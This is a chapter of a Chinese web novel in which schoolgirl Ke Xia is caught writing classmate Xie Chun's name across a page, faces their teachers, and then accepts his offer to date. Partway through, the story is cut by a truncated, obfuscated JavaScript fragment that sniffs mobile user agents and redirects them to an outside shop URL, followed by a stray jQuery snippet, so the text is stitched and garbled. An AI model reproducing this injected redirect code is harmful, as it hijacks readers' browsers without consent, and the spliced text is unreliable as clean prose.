45. “我是该装没听见?”
作品:《赎我》 柯夏从没觉得一节课如此漫长过。
第一次在老师眼里成为坏学生的羞耻,风沙般刮在心上。但另一种风暴盘踞在心头,导致这样的羞耻似乎微不足道。
又被折磨了片刻,她恍然。
并不是微不足道,而是共生。
它们共生成一片前所未有的风暴,将她压得无处可逃。
这样煎熬着,下课铃声翩然而至。政治老师将正在讲的卷子收起,往柯夏这儿瞥来一眼。
柯夏自发动身,沁满汗的手指伸出,将她的罪证抓在手里。
师生两个进办公室的时候,成乘盛正在看报。听见声响习惯性抬眼皮瞥了一眼,很快又垂下去,意识到自己看到了什么后,再次抬起头。
“张老师。”成乘盛昂着脖子:“这个学生干什么了?”
“干什么了。”张美兰将他的疑问重复了遍,吊着眉梢望柯夏,边看边戏谑道:“要么什么都不干,要干就干个大的咯。”
说着,伸手把柯夏手里的罪证取过,放到阳光下仔细地瞅。
成乘盛也叹息:“现在的学生,真的是太不省心。最不应该犯错的学生,反而犯的错最大,我们班也又有一个。”
“你手底下干大事的学生那确实是多了。”张美兰瞅着满页的男生名字,调笑道。
柯夏抠着掌心。
老师说话就是有这样的魔力。
明明交谈中没有任何关于她的成分,却让她背上汗如雨下。
成乘盛还待再说,办公室的门被“咚咚咚”敲了三声。
柯夏心里针扎似的烦乱,正到处找闲事管,便将头抬起来,视线扫过去。
眸光落到站在办公室门口的人影身上的刹那,却浑身一僵。
“老师,您找我。”
谢纯口吻淡淡,形单影只地立在门口,良久,似乎感受到视线,跟着抬眼。
柯夏没来得及收回。
一瞬间,心室里血液翻腾汹涌。
他回来了。柯夏想。但变了好多。
背微微弓着,额前碎发刘海遮蔽住眼睛。
举手投足,都流淌着一味散漫态度。
所以那两次遇见的,也是他吗?
她的大脑又自发地、胡乱地转动起来。
他们长久对望着,许久没有一人挪眼。
似乎格开他们的空气里有陈年氤氲的烈酒一般,难以戒断。
半晌,谢纯率先收回了目光,旁若无人地迈开步子,走到成乘盛身边。柯夏的大脑也缓缓清明起来,视线跟随着他的身影,望向成乘盛。
成乘盛脸色并不好,瞪着谢纯没有言语。
一会儿叹一口气,跟昔日骄傲的学生,现在倒变成酝酿出一句话的开头都难。
办公室里氛围各异的四个人,最后还是张美兰先开口了。
张美兰连头也没抬,不知道什么人走了进来,将纸一抖只对着柯夏道:“说吧。这个纸上,你把‘谢纯’两个字写得满满当当干什么呢?”
柯夏:“……”
成乘盛把头扭了过来:“张老师,你刚刚说什么?”
……
柯夏吊到了嗓子眼的心稍微放下了点儿。
她回忆起成乘盛教书多年,年纪已经有点大了,耳朵不太好使。
但很快,她放下了心重新吊到了脑门。
因为那处站着的另一个人,正在她的余光里笔直地望向她,唇角勾着意味不明的笑。
张美兰循着成乘盛的声音一扭头,这才发现这个全校闻名……哦不,现在应该说是臭名昭著的学生的存在。
她张了张嘴巴,一甩手敷衍了下成乘盛,扭过头专心训柯夏。
成乘盛也懒得纠结,扭过头训起谢纯。
“柯夏,老师一直以为你是个老实的学生。”
“谢纯,老师一直以你为傲,觉得你是个栋梁。”
“你怎么能早恋呢?”
“你怎么能早恋呢?”
“啊,还一页纸都写满了一个人名字?”
“还身边每天都换个女生站?”
“没早恋。”谢纯腔调懒散地回:“她们自己跟着我的。”
“还狡辩!”成乘盛指着他,手指颤抖:“别人跟着你你也不拒绝啊?你这样子在我们那个年代是要判流氓罪的!”
柯夏和张美兰这儿戛然而止,纷纷望过去。
……因为谢纯说得太快,柯夏嘴里的“没早恋”卡壳了。
张美兰看完了,把头扭过来,下巴指了指那儿,也不说话。
但意思她读出来了——“你看,就这样不正经的男生,你喜欢他啥啊?”
二班两个师生也没啥好说的了,干脆一起噤声看着那边儿。成乘盛正在激情输出观点——
“你的成绩一落千丈也就算了,我好说歹说给你留级下来留在一班,要不然你参加期末考试升高三,要被分到哪里去了知不知道?我就奇怪了,之前你学习一直都是不要老师操心的啊,品质也一直很好,之前你面对面教柯夏同学大题,你们也没什么啊?”
说完,成乘盛隔空指了指柯夏:“你看,柯夏同学还在那儿呢!她今年可是文科第一名啊!”
“……”
“……”
柯夏不敢说话,只一昧冒汗,张美兰也不敢说话。
谢纯斜睨了眼对角那边,取笑道:“是啊。”
不论成乘盛骂什么,谢纯都全盘接受,态度让人有如一拳打在棉花上。一肚子气都骂完了,他觉出来没意思,在他眼里一个学生堕落就等于没救了。
干脆话锋一转,扭头关心起柯夏来:“张老师,柯夏犯了什么错啊?”
“……”张美兰糊弄他道:“大扫除的时候把垃圾桶忘在垃圾站了。”
“这算什么大事啊。”成乘盛道:“我们班主任也要对好学生多点宽容,现在省心的学生真的不多了。”
“是是是。”
她拽了把柯夏,让柯夏写了份保证书押在那儿,就赶柯夏赶紧离开了那个是非之地。
柯夏从柱角拐出来,却在办公室门口驻足了好一会儿。
半晌,她想起来要看看时间,便抬眼扫过四班挂在墙后的钟,显示离上课还有三分钟。
心里泛起微末的遗憾感。
来源于,如果快要上课,成乘盛就会快些放谢纯出来。
她睫毛微敛,听着身后仍在传出的老师交谈声,忽地漏出一声笑。
她就是这样不理想的学生,她忽然意识到。
就是这样在走出办公室的一秒内,就背叛了刚刚写下的承诺。面无表情地签字,又面无表情地背叛了自己的名字。
思绪下潜又浮萍般露头,微冷的风钻入耳道,牵起一丝清醒。柯夏翻转了下手掌,掌侧有刚刚写保证书时沾染上的墨色。
她凝眸俯视了它片刻,毫不犹豫抽出校服外套一角碾在皮肤。
蓝色的布料将墨汁吸收殆尽。
毫不影响观感,看上去只是这里颜色深了一些。
她很满意。
掌侧遗留的墨汁只剩下残余的薄薄一片。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184191|196091||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>她垂下手,转身走向南楼背面,那儿有少人的洗手间。
就在拐过角的瞬间,去路被一具身躯挡住。
率先撞入视野的,是绵延没入校服的肩颈肌肉线条。
随后是大片炫目的白色、如细雨般刮落的温热的气息。
谢纯半垂着头,将少女笼在自己投下的阴影里,笑着向前走了一步。
柯夏站在原地没动。
导致距离更加逼近。
“草稿纸,为什么?”男生的气息在额头淌过,带起一阵麻意。
柯夏不知如何作答。
她低着头。
她没有因退避被放过。
致命的,抽丝剥茧的语气追了上来:“柯夏,你喜欢我。”
柯夏仍旧没动,留给他的视角一个发旋。
“我是该装没听见?”望着她的态度,他缓缓地一笑:“但又觉得,好像你这款还挺罕见。要试试么?虽然不能给你承诺,毕竟你听见了,我身边一天换一个,太忙了。”
他感觉这话是从天外飞来的。
而不是从自己嘴里说出来的。
这柄磨了半年之久的利剑出鞘时,怎么还是钝得可怜?
他强撑着伸出手,摸到了柯夏温度微低的下巴。
他学着纨绔子弟们的模样,将食指和拇指压在柔软的皮肤上,施力强迫她抬起头。
却在视线接触到柯夏那双眸子时,浑身彻底凝固。
女生仰着脸,秀气的眉拧起,清亮的眼底一片湿红,铺满了一层又一层的血丝。
……看进这双眸子时,他浑身的血液仿佛瞬间被抽净、干涸。
良久的僵持后,他落入宽宏的温暖当中。
——柯夏张开双臂,狠狠抱住了他。力道甚至撞得他向后倒退两步。
“好。”柯夏深而轻地倒抽了口气。
声音单薄,却坚定:“我试。”
所有剩余的冷酷的话,都从咽喉里被卸了个干净。
……
——
放假要回家那天,柯夏把手机放躺在桌上,撑着脑袋盯着它发呆。
那天之后,他们唯一做的一件事就是加了微信。
通过当天,她神经兴奋得一晚上没有睡好。
不停地翻看谢纯的头像和朋友圈页面。
仿佛手机变成了取之不竭的蜜罐,一口赛一口甜。
这之后,却没有过任何交流。
即便只隔着一面墙,一班二班的学习节奏也是极其紧促的。
何况她这个危险分子,被张美兰盯得死死的。
她从没有这样的经验,也没有对恋爱的基本感知。却本能觉得,似乎应该偶尔……维系一下,偶尔就好。
正思及此,忽而,暗下去的屏幕亮了起来。柯夏垂目瞥了眼消息的悬浮窗,见到头像,瞬间立直上半身。滑开了消息页面。
谢纯:【回家了么。】
柯夏:【还在收拾。】
顿了顿,又发:【你呢?】
谢纯:【在校门口。】
柯夏的文尖班下课得晚,现在加紧收拾也来不及了。柯夏略一思忖,发去:【你先走吧,我这还有好久,一路平安。】
静了会儿,那边才回复:【嗯,待会儿见。】
待会儿见?难道要等她?为着这句,柯夏加快收拾速度,气喘吁吁赶到校门口,却发现空无一人。
……看来只是她想多了。
公交正巧停在她面前,柯夏朝身后一伸手,将手机掖在书包里钻进车里去了。

